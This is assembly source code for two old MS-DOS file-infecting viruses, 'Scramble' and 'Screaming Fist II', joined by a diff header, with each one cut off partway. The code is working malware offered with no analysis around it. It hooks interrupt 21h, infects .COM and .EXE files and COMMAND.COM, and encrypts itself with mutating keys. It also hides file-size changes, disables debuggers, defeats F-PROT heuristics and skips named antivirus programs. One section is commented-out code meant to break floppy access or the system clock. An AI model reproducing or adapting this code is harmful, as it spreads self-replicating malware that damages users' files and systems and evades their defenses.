db 0BBh ; mov bx, xxxx
off_start: ;
dw offset begin ; this is fixed up during inf.
xor_start: ;
db 81h ; XOR WORD PTR [BX], ????h
db 37h ;
e_v: ;
dw 0000h ; encryption word
;
inc bx ;
inc bx ;
db 81h, 0FBh ; cmp bx, xxxx
off_last: ;
dw offset last ;
jng xor_start ;
begin:
jmp inner_loop
db 'BEER and TEQUILA forever !' ; I love a good joke...
inner_loop:
start_2:
mov bx, offset begin_2 ; Inner encryption loop
mov cx, (last - begin_2)/2+1 ;
xor ax, ax ;
mov es, ax ;
mov dx, es:[4*1] ; Save part of int 3
ax_encrypt: ;
mov ax, 0000h ; encryption word
encrypt_loop_2: ;
mov es:[4*1], cx ; save cx on part of int 3
xor cx, cx ; clear cx
xchg al, ah ; The purpose of this
xor word ptr [bx], ax ; encryption is to be
xchg al, ah ; a pain
sub bx, -2 ; for people wanting to
mov cx, es:[4*1] ; trace.
loop encrypt_loop_2 ;
begin_2:
mov es:[4*1], dx ; restore int 3
jmp virus
db '[Scramble] By Nikademus $'
db 'Read CRYPT Today!. $'
virus:
mov dx, 5945h ; pull CPAV (MSAV)
mov ax, 64001d ; out of memory
int 16h ; This also confused
; TBCLEAN
call bp_fixup ; bp fixup
bp_fixup: ;
pop bp ;
sub bp, offset bp_fixup ;
xor ax, ax ;
mov es, ax ;
mov cx, es:[4*01h+2] ; Installation Check
mov bx, es:[4*03h+2] ; int 01 and 03 are normally
cmp cx, bx ; equal. Shadow changes
je next_early ; int 3h.
jmp fix_host ;
next_early:
mov es:[4*3h], ax ;
mov es:[4*3h+2], ax ; zero out 1 and 3
mov es:[4*1h], ax ; Debugger fix...
mov es:[4*1h+2], ax ; We hatesss Debuggersss
; Don't we Preciousss.
; - Tolkien
call screw_fprot ; confusing f-protect's
call screw_fprot ; heuristic scanning
call screw_fprot ; Still effective as of
call screw_fprot ; version 2.10
call screw_fprot ;
call screw_fprot ; [cf] Crypt Newsletter 18
call screw_fprot ; for explanation &
call screw_fprot ; rationale
call screw_fprot ;
call screw_fprot ;
Memory_manipulation:
push cs ;
pop es ;
push cs ;
pop ds ;
mov bx,cs ; reduce memory size
dec bx ;
mov ds,bx ; My standard memory
cmp byte ptr ds:[0000],5a ; routine...
jne fix_host ;
mov bx,ds:[0003] ;
sub bx, 100h ; # of 16byte paragraphs
mov ds:0003,bx ; to grab (4k)
Mov_to_unused_memory:
xchg bx, ax ; copy self to the new
mov bx, es ; 'unused' part of memory
add bx, ax ; QEMM calls this area
mov es, bx ; unused when Shadow is
mov cx, len ; resident.
mov ax, ds ;
inc ax ;
mov ds, ax ;
lea si, ds:[offset start+bp] ;
lea di, es:0100 ;
rep movsb ;
Interrupt_Manipulation:
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; get int 21h
mov word ptr es:old_21h, ax ; save 21
mov word ptr es:old_21h+2, ds
mov bx, ds ; bx = ds
pop ds
mov word ptr ds:[3h*4], ax ; put old 21 in int 3h
mov word ptr ds:[3h*4+2], bx ;
mov word ptr ds:[21h*4], offset Scramble ; put self in 21
mov ds:[21h*4+2], es ;
fix_host:
push cs
pop ds
push cs
pop es
mov di,100h ; Replace overwritten bytes
push di ; Save the 100h
lea si, ds:[vict_head + bp] ;
mov cx, 25d ;
rep movsb ; Fix 'em
xor ax, ax ; Clean up after myself.
xor bx, bx ;
xor dx, dx ;
xor si, si ;
xor di, di ;
Bye_Bye:
ret ; Return to 100h
screw_fprot:
jmp $ + 2 ; Pseudo-nested calls to confuse
call screw2 ; f-protect's heuristic
call screw2 ; analysis
call screw2 ;
call screw2 ;
call screw2 ; These are straight from
ret ; YB-X.
screw2: ;
jmp $ + 2 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
ret ;
screw3: ;
jmp $ + 2 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
ret ;
screw4: ;
jmp $ + 2 ;
ret ;
vict_head db 90h, 0CDh, 20h, 90h, 90h, 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h, 90h, 90h
Scramble:
cmp ah, 11h ; Directory infect.
je d_h_1 ; + Stealth
cmp ah, 12h ; Directory infect.
je d_h_1 ; + Stealth
pushf ; Save all these
push ax ; registers.
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
cmp ah, 4Bh ; Infect + AV filter
je infect ;
notforme:
pop es ; Goodbye cruel world
pop ds ; I'm leaving you today
pop di ; Goodbye
pop si ; ..
pop dx ; Goodbye
pop cx ; ..
pop bx ; ...goodbye
pop ax ; -Pink Floyd
popf ; (Well...Close)
big_jmp:
jmp dword ptr cs:[old_21h] ; This is The End.
d_h_1:
jmp dir_handler_1
infect:
mov word ptr cs:victim_name,dx
mov word ptr cs:victim_name+2,ds
cld
mov di,dx
push ds
pop es ; es:di -> name
mov al,'.' ; find the period
repne scasb ;
call name_tester
cmp ax, 0CCCCh ; DDDDh marks AV
je cont_inf ;
jmp notforme
cont_inf:
cmp word ptr es:[di], 'OC'
jne notforme
call HOOK_24
mov ax, 3D00h ; open read/only
lds dx, cs:[victim_name] ;
int 3h ;
jc notforme ; handle errors
xchg bx, ax ;
call infection_test ; is it infected?
cmp ax, 0CCCCh ; FFFF = infected
je continue_inf ; DDDD = don't infect
mov byte ptr es:[di+2], 00h ; mark it read/only
mov ax, 3E00h ; close file
int 3h ;
jmp notforme
continue_inf:
push cs ; infect 'em
pop es ;
call infect_victim ;
jmp notforme ;
infect_victim:
mov ah, 2Ch ; get random number
int 3h ; for encryption
or dx, dx ;
jz infect_victim ;
write_virus:
mov word ptr [offset e_v], dx
mov word ptr [offset e_value_1], dx
sub cx, dx
mov word ptr [offset ax_e], cx
xchg cl, ch
mov word ptr [offset ax_encrypt+1], cx
mov ax, [vict_size]
push ax
mov si, ax ; fix BX offset in head
add si, ((offset begin-offset start)+100h)
mov word ptr [off_start], si ; start of 'cryption
push si
add si, len
mov word ptr [off_last], si ; end of 'cryption
pop si
add si, (offset begin_2 - offset begin)
mov word ptr [offset start_2+1], si ; begin fixup #2
mov si, offset start ; copy virus to buffer
mov di, offset encryptbuffer ;
mov cx, last-start ;
rep movsb ;
pop ax
sub ax, 3d ; construct jump
mov word ptr [offset jmp_offset], ax ;
Encryptvirus_in_buffer:
push bx ; inner encryption
mov bx, offset encryptbuffer ;
add bx, (offset begin_2 - offset start) ;
mov cx, (last - begin_2)/2 +1 ;
e_loop_1: ;
db 81h ; XOR [bx]
db 37h ;
ax_e: ;
dw 0000h ; scrambler
add bx, 2 ;
loop e_loop_1 ; loop
mov bx, offset encryptbuffer ;
add bx, (offset begin - offset start) ; outer encryption
mov cx, (last - begin)/2 +1 ;
e_loop_2: ;
db 81h ; XOR [bx]
db 37h ;
e_value_1: ;
dw 0000h ; scrambler
add bx, 2 ;
loop e_loop_2 ; loop
pop bx
mov ah, 40h ; write virus
mov cx, last-start ;
mov dx, offset encryptbuffer ;
int 3h ;
mov ax, 4200h ; point to front
xor cx, cx ;
xor dx, dx ;
int 3h ;
mov ah, 40h ; write jump
mov dx, offset jmp_create ;
mov cx, 25d ;
int 3h ;
restore_date_time:
mov dx, word ptr [date] ; Date
mov cx, word ptr [time] ; Time
mov ax,5701h ;
int 3h
fix_attribs:
mov ax, 3E00h ; close
int 3h ;
mov ax, 4301h ; Restore old attributes
mov cl, byte ptr [attrib] ;
lds dx, cs:victim_name ;
int 3h ;
ret ; Leave this sub-routine
dir_handler_1:
pushf ;
db 9Ah ; Call to
old_21h dd ? ; old int 21 vector
cmp al, 0FFh ; Find something?
jnz next_dir_1 ;
iret ;
next_dir_1:
pushf
push ax ; save registers.
push bx ;
push cx ;
push dx ;
push ds ;
push es ;
push si ;
push di ;
mov ah, 2Fh ; Get DTA
int 3h ; es:bx -> DTA
push es ;
pop ds ; ds = es
cmp byte ptr [bx], 0FFh ; Extended FCB?
jnz not_extended ;
add bx, 7h ;
not_extended:
push cs ; restore es
pop es ;
cld
lea di, [victim_name] ; Dark Angel's code
lea si, [bx+1] ; to turn FCB string
mov cx, 8d ; into an ASCIIZ string
space_finder:
cmp byte ptr ds:[si], ' ' ; find the first space
jz space_found ;
movsb ;
loop space_finder ;
space_found:
mov al, '.' ; copy the period
stosb ;
mov ax, 'OC' ; test for (CO)M extention
lea si, [bx+9] ;
cmp word ptr [si], ax ;
jnz not_com ;
stosw
mov al, 'M' ; Is it an CO(M)
cmp byte ptr [si+2], al ;
jnz not_com ;
stosb
mov al, 0 ; end of string byte
stosb ; NULL for C people
push ds ;
pop es ; es = ds
push cs ;
pop ds ; restore ds
xchg di, bx ; es:di points to the DTA
mov ax, 3D00h ; open read/only
lea dx, [victim_name] ;
int 3h ; changes to r/w in the
jc not_com ; system file table
xchg ax, bx ;
push es
push di
push ds
call infection_test ; is it infected?
cmp ax, 0CCCCh ; FFFF = infected
je continue_dir ;
mov byte ptr es:[di+2], 00h ; mark it read/only
push ax
mov ax, 3E00h ; close file
int 3h ;
pop ax ; Save these
pop ds ;
pop di ;
pop es ;
cmp ax, 0DDDDh ; not infected, but
je not_com ; don't infect. IMPORTANT!
mov ax, es:[di+29d]
sub ax, len ; directory stealth
mov es:[di+29d], ax ;
not_com: ; . . .
pop di ; . . . .
pop si ; . . . .
pop es ; . . . .
pop ds ; . . . .
pop dx ; . .
pop cx ; . . . .
pop bx ; . . . .
pop ax ; . . . .
popf ; . . . .
iret ; . . .
continue_dir:
pop ds ; Actually get around to infecting
push cs ; the poor little file.
pop es ;
call infect_victim ;
pop di ;
pop es ;
jmp not_com ;
new_24h:
mov al,3 ; Error (Mis)handler
iret ;
name_tester:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je AV ;*IM
cmp word ptr es:[di-3],'XR' ;*rx
je AV ;
cmp word ptr es:[di-3],'PO' ;*STOP
jne next1 ;(VIRSTOP)
cmp word ptr es:[di-5],'TS' ;
je AV ;
next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav
je AV ;(TBAV) (MSAV)
cmp word ptr es:[di-3],'TO' ;*prot f-prot
jne next2 ;
cmp word ptr es:[di-5],'RP' ;
jne next2 ;
AV: jmp AV_Detected ; must be equal
next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's
jne next3 ;(TBSCAN)
cmp word ptr es:[di-5],'CS' ;
je AV_Detected ;
cmp word ptr es:[di-3],'NA' ;*lean CLEAN..
jne next3 ; why not eh?
cmp word ptr es:[di-5],'EL' ;(TBCLEAN)
je AV_Detected ;
next3: cmp word ptr es:[di-3],'CV' ; Victor Charlie
je AV_Detected ; default *VC
cmp word ptr es:[di-3],'KC' ; VCHECK
jne next4 ; (Victor Charlie)
cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK
je AV_Detected ;
next4:
cmp word ptr es:[di-3],'ME' ; TBMEM
jne next5 ; *BMEM
cmp word ptr es:[di-5],'MB' ;
je AV_Detected ;
next5:
cmp word ptr es:[di-3],'XN' ; TBSCANX
jne next6 ; *CANX
cmp word ptr es:[di-5],'AC' ;
je AV_Detected ;
next6:
cmp word ptr es:[di-3],'EL' ; TBFILE
jne next7 ; *FILE
cmp word ptr es:[di-5],'IF' ;
je AV_Detected ;
next7:
cmp word ptr es:[di-3],'KS' ; CHKDSK
jne next8 ; *KDSK
cmp word ptr es:[di-5],'DK' ; chkdsk finds false errors
je AV_Detected ; with directory stealth
next8:
mov ax, 0CCCCh ; Flag NON-AV
ret ;
AV_Detected:
mov word ptr es:[di-1], 2020h ; Screw up the search
mov word ptr es:[di+1], 2020h ; clear the .XXX
mov ax, 0DDDDh ; Flag AV
ret ;
HOOK_24: ; hook interrupt 24
push ds ; by direct writes to
push dx ; the
push ax ; interrupt vector
push es ; table
xor ax, ax ;
mov ds, ax ; DOS will fix it back
mov dx, offset new_24h ; all by itself.
mov word ptr ds:[24h*4], dx ; For once, I like what
mov word ptr ds:[24h*4+2], es ; DOS does.
pop es ;
pop ax ;
pop dx ;
pop ds ;
ret ;
infection_test: ; assume file
push cs ; open
pop es ; and bx is handle
push cs
pop ds
push bx ;
mov ax, 1220h ; Get Job File Table
int 2Fh ;
jc error_out ;
mov bl, es:di ;
mov ax, 1216h ; Get System File Table
int 2Fh ; For my file.
jc error_out ;
pop bx
mov byte ptr es:[di+2], 02h ; change to read/write
mov ax, word ptr es:[di + 0Dh] ; get time
mov cs:[time], ax ;
mov ax, word ptr es:[di + 0Fh] ; get date
mov cs:[date], ax ;
mov al, byte ptr es:[di + 04h] ; get attribs
mov cs:[attrib], al ;
mov ax, es:[di + 11h]
cmp ax, 1000d ; size filter
jb filter_error ; only infect files bigger
mov ax, 3F00h ; read in 25 bytes
mov cx, 25d ;
mov dx, offset vict_head ;
int 3h ;
jc error_out ;
; Looking for possible BAIT files.
mov ah, byte ptr cs:[vict_head] ;
cmp ah, 90h ; nop test
je filter_error ;
cmp ah, 0CDh ; INT test
je filter_error ;
mov ax, word ptr cs:[vict_head+1] ;
cmp ah, 0CDh ; INT test
je filter_error ;
cmp al, 0CDh ; INT test
je filter_error ;
mov ax, 4200h ; point to beginning
xor cx, cx ; could have used SFT
xor dx, dx ;
int 3h ;
mov ax, 4202h ; point to end
int 3h ;
mov cs:[vict_size], ax ; infection check
mov cx, word ptr cs:[vict_head] ;
mov ax, 0CCBAh ; me..
cmp ax, cx ;
jnz not_infected ;
error_out:
mov ax, 0FFFFh ; FF = infected
ret ;
filter_error:
mov ax, 0DDDDh ; not infected
ret ; and DONT infect
not_infected:
mov ax, 0CCCCh ; not infected
ret
jmp_create db 0BAh, 0CCh, 0CCh, 0C6h, 06h, 00h, 01h, 0E9h, 0B8h
db 2Eh, 01h, 0BBh, 01h, 01h, 2Dh, 03h, 01h, 33h, 0C1h
db 0C7h, 07h
jmp_offset db 2Bh, 00h
db 0EBh, 0E7h
last: ; -=< end of encryption. >=-
; The heap........ junk not needed in main program
date dw 00h, 00h
victim_name dd ?
time dw 00h, 00h
attrib db ?
vict_size dw 00h, 00h
encryptbuffer db (last-start)+1 dup (?)
code ends
end start
@@ -0,0 +1,577 @@
ORG 100H
; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc.
; The author assumes no responsibility for any damage incurred
; from the infection caused by this virus
CURTAIN_OPEN EQU $
ARE_WE_RESIDENT?:
CLD ;Do not remove this
CALL DECRYPT_US
NEXT_PLACE:
MOV AH,30H ;Get DOS version
INT 21H
CMP AL,2 ;Lower than 2?
JBE LEAVE_AND_RESTORE ;Yes,exit
XOR AX,AX
DEC AX ;Will return AX=0 if virus is resident
INT 21H
OR AX,AX ;Are we resident?
JZ LEAVE_AND_RESTORE ;If not, install
START:
PUSH DS
XOR AX,AX ;Now make DS=0
MOV DS,AX
DEC WORD PTR [413H] ;Decrease available memory by 1k
LDS BX,[0084] ;Get INT 21 vector and save it
CS:
MOV [BP+OLD_21_BX-NEXT_PLACE],BX
CS:
MOV [BP+OLD_21_ES-NEXT_PLACE],DS
MOV BX,ES ;Get address of our memory block
DEC BX
MOV DS,BX
SUB WORD PTR [0003],80H ;Decrease memory allocated to this program
MOV AX,[0012] ;Decrease total memory
SUB AX,80H ;By 80 paragraphs
MOV [0012],AX ;And save it again
MOV ES,AX ;Also gives us ES=Top of memory
PUSH CS ;CS=DS
POP DS ;
MOV SI,BP ;
SUB SI,OFFSET NEXT_PLACE - 100H ;Offset of code to move
MOV DI,100H ;ES:100h is destination
MOV CX,LENGTH ;Move entire virus
REPZ MOVSB ;Move entire virus to top of memory
MOV DS,CX ;DS=0
CLI ;Disable interrupts
MOV [0086],AX
MOV WORD PTR [0084],OFFSET NEW_21 ;Set INT 21 to our code in high memory
STI ;Enable interrupts
MOV AX,3DFFH ;Code to infect command processor
INT 21H
POP DS ;DS=ES
PUSH DS
POP ES
LEAVE_AND_RESTORE:
;PUSH DS This is just some silly code
;XOR AX,AX That will cause random problems
;MOV DS,AX Like floppies not working
;IN AL,21H Or the system clock stopping
;XOR AL,[046CH]B If you want to use it
;AND AL,0FDH Just remove the semi-colons
;OUT 21H,AL
;POP DS
SUB BP,OFFSET NEXT_PLACE - 100H ;
OR BP,BP
JZ LEAVE_EXE ;A zero BP means we're leaving an .EXE
LEA SI,[BP+ORIGINAL_EIGHT-NEXT_PLACE+4] ;Restore original eight bytes so
;we can RET to them
MOV DI,100H
PUSH DI ;Restore first four bytes
MOVSW
MOVSW
RET ;And return to 100
LEAVE_EXE:
MOV AX,ES ;Use ES for a displacment value
ADD CS:OLD_CS_DISP - 100H,AX ;Fix up the CS value
ADD CS:OLD_SS_DISP - 100H,AX ;And the SS value
MOV SS,CS:offset OLD_SS_WORD - 100h ;Set the correct SS
MOV SP,CS:offset OLD_SP_WORD - 100h ;And the correct SP
JMP $+2 ;Necessary for .EXE's to run right
;DO NOT REMOVE! IF YOU DO, .EXE's WON'T RUN!
DB ,0EAH, ;Makes a far jump to the original .EXE
;Entry point
ORIGINAL_EIGHT EQU $
OLD_IP EQU $
MOV AH,4CH ;.COM file beginning stored here
OLD_CS_DISP EQU $
INT 21H ;
OLD_SS_DISP EQU $
OLD_SS_WORD DW 00 00 ;Save old SS here
OLD_SP EQU $
OLD_SP_WORD DW 00 00 ;And old SP here
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
;Here is where the resident part begins in high memory. ;
;On systems with 640k, this is usually at segment 9F80 ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
NEW_21:
PUSHF
CMP AX,0FFFFH ;AX=FFFF means a program is asking
JNZ CONTINUE_ASKING ;If the virus is resident
POPF ;Return to show that virus is resident
INC AX ;Return AX=0 to show that we are resident
IRET
CONTINUE_ASKING: ;Infect files on:
CMP AH,3DH ;Opening
JZ OPENING
CMP AH,4BH ;Running
JZ INFECT_REGULAR
CMP AH,43H ;Chmod
JZ INFECT_REGULAR
CMP AH,56H ;Renaming
JZ INFECT_REGULAR
JMP SHORT OUTTA_HERE
OPENING:
CMP AL,0FFH ;Do we need to infect command processor?
JNZ INFECT_REGULAR ;Nope, continue
PUSH CS ;DS=CS
POP DS
MOV DX,OFFSET COMMAND ;If so, let's use C:\COMMAND.COM
COM_FILE:
CALL DISEASE
POPF
IRET
INFECT_REGULAR:
PUSH AX ;Save AX
CALL CHECK_NAME ;Is DS:DX a .COM or an .EXE file?
OR AX,AX ;A non-zero AX means nope
JNZ OUT_WITH_POP
CALL DISEASE ;Infect file
OUT_WITH_POP:
POP AX ;Restore AX
OUTTA_HERE:
POPF ;Continue with old INT 21
DB ,0EAH, ;Code for a JMP FAR
OLD_21_BX DW 00 00 ;Old Int 21 location is stored here
OLD_21_ES DW 00 00 ;
FUNCTION: ;Used by virus to call old INT 21
PUSHF
CALL DWORD PTR CS:[OLD_21_BX]
RET
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
;This portion handles the actual infection process ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
DISEASE:
PUSH AX ;Save all registers
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH DX
ABOVE_2:
MOV CS:[OLD_DS]W,DS ;Save DS
MOV CS:[OLD_ES]W,ES ;Save ES
PUSH CS ;CS=DS=ES
PUSH CS
POP DS
POP ES
MOV AX,3524H ;Get INT 24 address
CALL FUNCTION ;
MOV OFFSET OLD_24_BX,BX ;Save it
MOV OFFSET OLD_24_ES,ES ;
MOV AH,25H ;Now set it to our own code
LEA DX,OFFSET NEW_24 ;Offset of our INT 24 code
CALL FUNCTION ;
MOV AH,36H ;Get disk free space
XOR DL,DL ;And quit if less than virus length
CALL FUNCTION
JC NEED_TO_LEAVE
OR DX,DX
JNZ SET_ATTRIBS
MUL CX
MUL BX
CMP AX,LENGTH
JNB SET_ATTRIBS
NEED_TO_LEAVE:
POP DX ;Clear stack
JMP DONE ;And return
SET_ATTRIBS:
POP DX
PUSH DX
MOV DS,OLD_DS
MOV AX,4300H ;Get the attributes
CALL FUNCTION
MOV CS:[OLD_ATTRIBS],CX ;Save them for later
XOR CX,CX
MOV AX,4301H
CALL FUNCTION ;Set attribs to normal
JC LEAVE_WITH_ATTRIBS ;Leave if error
OPEN_IT:
MOV AX,3D02H ;Open file with Read and Write access
CALL FUNCTION
JC NEED_TO_LEAVE ;Quit on error
PUSH CS ;CS=DS
POP DS
XCHG BX,AX ;Save handle
MOV AH,3FH ;Read BUF_LENGTH bytes into CS:BUFFER
LEA DX,BUFFER ;Offset of buffer
MOV CX,BUF_LENGTH ;Read 'Em
CALL FUNCTION
JC LEAVE_AND_CLOSE ;Quit on error
CMP OFFSET BUFFER,5A4DH ;Is this an .EXE file?
JZ NAIL_EXE ;If so, we gotta do some things
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
;This portion handles a .COM infection ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
MOV AL,[BUFFER+3]B ;An indentical byte means this .COM is
INC AL
CMP AL,[BUFFER+1]B ;probably already infected
JNZ CONTINUE_TO_INFECT ;If it isn't, let's get it!
LEAVE_AND_CLOSE:
MOV AH,3EH ;Close this file
CALL FUNCTION
LEAVE_WITH_ATTRIBS:
POP DX
PUSH DX
CALL RESTORE_ATTRIBS ;Restore the attributes if needed
JMP SHORT NEED_TO_LEAVE
CONTINUE_TO_INFECT:
MOV SI,OFFSET BUFFER ;Starting at CS:BUFFER
PUSH CS ;CS=ES
POP ES
LEA DI,OFFSET ORIGINAL_EIGHT;Where to save original eight bytes to
MOVSW ;Save infected files original eight bytes
MOVSW
MOV AX,4202H ;Send RW pointer to end of file
XOR CX,CX
XOR DX,DX
CALL FUNCTION
OR DX,DX ;A non-zero DX means too big of a file
JNZ LEAVE_AND_CLOSE
CMP AX,300 ;Don't infect files less than 300 bytes
JB LEAVE_AND_CLOSE
CMP AX,64000 ;Or bigger than 64000
JA LEAVE_AND_CLOSE
SUB AX,3 ;Use the pointer as our jump code
MOV [BUFFER]B,0E9H ;Code for absolute JMP
MOV [BUFFER+1],AX ;This sets up the .COM so we can tell
DEC AL ;If it's infected next time we see it
MOV [BUFFER+3],AL
JMP SHORT ATTACH ;Continue past .EXE infector
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
;This portion handles infecting all .EXE files ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
NAIL_EXE:
CMP WORD PTR [BUFFER+14H],1 ;Offset of IP reg. Is this .EXE infected?
JZ LEAVE_AND_CLOSE ;Leave if already infected
GET_EXE:
MOV AX,[BUFFER+4] ;EXE size in 512 byte pages
MOV CX,0200H ;Multiply by 512 to get filesize
MUL CX ;
PUSH AX ;Save AX, AX=Filesize low byte
PUSH DX ;Save DX, DX=Filesize high byte
MOV CL,04 ;
ROR DX,CL ;
SHR AX,CL ;
ADD AX,DX ;
SUB AX,[BUFFER+8] ;Size of header in 16 byte paragraphs
PUSH AX ;AX is new code segment displacement
MOV AX,[BUFFER+14H] ;Get old IP register
MOV [OLD_IP],AX ;Save it here
MOV AX,[BUFFER+16H] ;Get old code segment displacement
ADD AX,10H ;Add 10 to it
MOV [OLD_CS_DISP],AX ;Save it here
MOV AX,[BUFFER+14] ;Get old stack segment
ADD AX,10H ;Adjust it for later
MOV [OLD_SS_DISP],AX ;And save it here
MOV AX,[BUFFER+16] ;Get stack pointer
MOV [OLD_SP],AX ;And save it here
POP AX ;Restore AX
MOV [BUFFER+16H],AX ;New code segment
MOV [BUFFER+14],AX ;New SS=CS
MOV [BUFFER+16],0FFFFH ;SP = End of viral code
MOV WORD PTR [BUFFER+14H],1 ;New IP register
ADD WORD PTR [BUFFER+4],2 ;Size of file in 512 byte pages
POP CX
POP DX
MOV AX,4200H ;Move file pointer
CALL FUNCTION
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
; Attach our viral code to the target file ;
; This portion is shared by the .EXE and the .COM infectors to be more ;
; efficient ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
ATTACH:
MOV AX,5700H ;Get the file time and date
CALL FUNCTION
PUSH CX ;And save them for later
PUSH DX
INFECT:
XOR AX,AX
MOV DS,AX
MOV AX,[046CH] ;Get a random encryption key from timer
MOV DL,AH ;Save part of it in DL
PUSH CS ;DS=CS
POP DS ;
MOV ENC_BYTE,AL ;Save keys in our code
MOV ENC_BYTE_2,DL
PUSH CS ;CS=ES
POP ES
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;This section provides a semi-random encryption code mutation based on our º
;encryption keys. Look at each line for a desc. of what it does to the code. º
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
TEST AL,1
JZ SKIP_1
XOR WORD PTR ENC_SWITCH,0ABDEH ;MOV SI,BP <=> PUSH BP POP SI
SKIP_1:
TEST DL,1
JZ SKIP_2
XOR BYTE PTR [ENC_SWITCH_2 + 1],012H ;OR DL,AL <=> XOR AL,DL
SKIP_2:
TEST AL,2
JZ SKIP_4
XOR BYTE PTR [ENC_SWITCH_4 + 2],010H
SKIP_4:
TEST DL,2
JZ SKIP_5
XOR BYTE PTR [ENC_SWITCH_5 + 2],010H
SKIP_5:
TEST AL,3
JZ SKIP_6
XOR BYTE PTR [ENC_SWITCH_1 + 1],08H
SKIP_6:
TEST DL,3
JZ SKIP_7
XOR BYTE PTR [ENC_SWITCH_3 + 1],08H
SKIP_7:
TEST AL,4
JZ SKIP_8
XOR BYTE PTR [ENC_SWITCH_6 + 1],08H
SKIP_8:
MOV SI,CURTAIN_OPEN
MOV DI,DATA_END
PUSH DI
PUSH DI
MOV CX,LENGTH
REPZ MOVSB
POP SI
ADD SI,4
CALL ENCRYPT_US
POP DX
MOV AH,40H ;Code for handle write
MOV CX,LENGTH ;Length of our viral code
CALL FUNCTION ;Write all of virus
MAKE_HEADER:
MOV AX,4200H ;Set file pointer to beginning
XOR CX,CX ;Zero out CX
XOR DX,DX ;Zero out DX
CALL FUNCTION
MOV AH,40H ;Write to file
MOV DX,OFFSET BUFFER ;Starting at BUFFER
MOV CX,BUF_LENGTH ;Write BUF_LENGTH bytes
CALL FUNCTION
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
; This restores the files original date and time ;
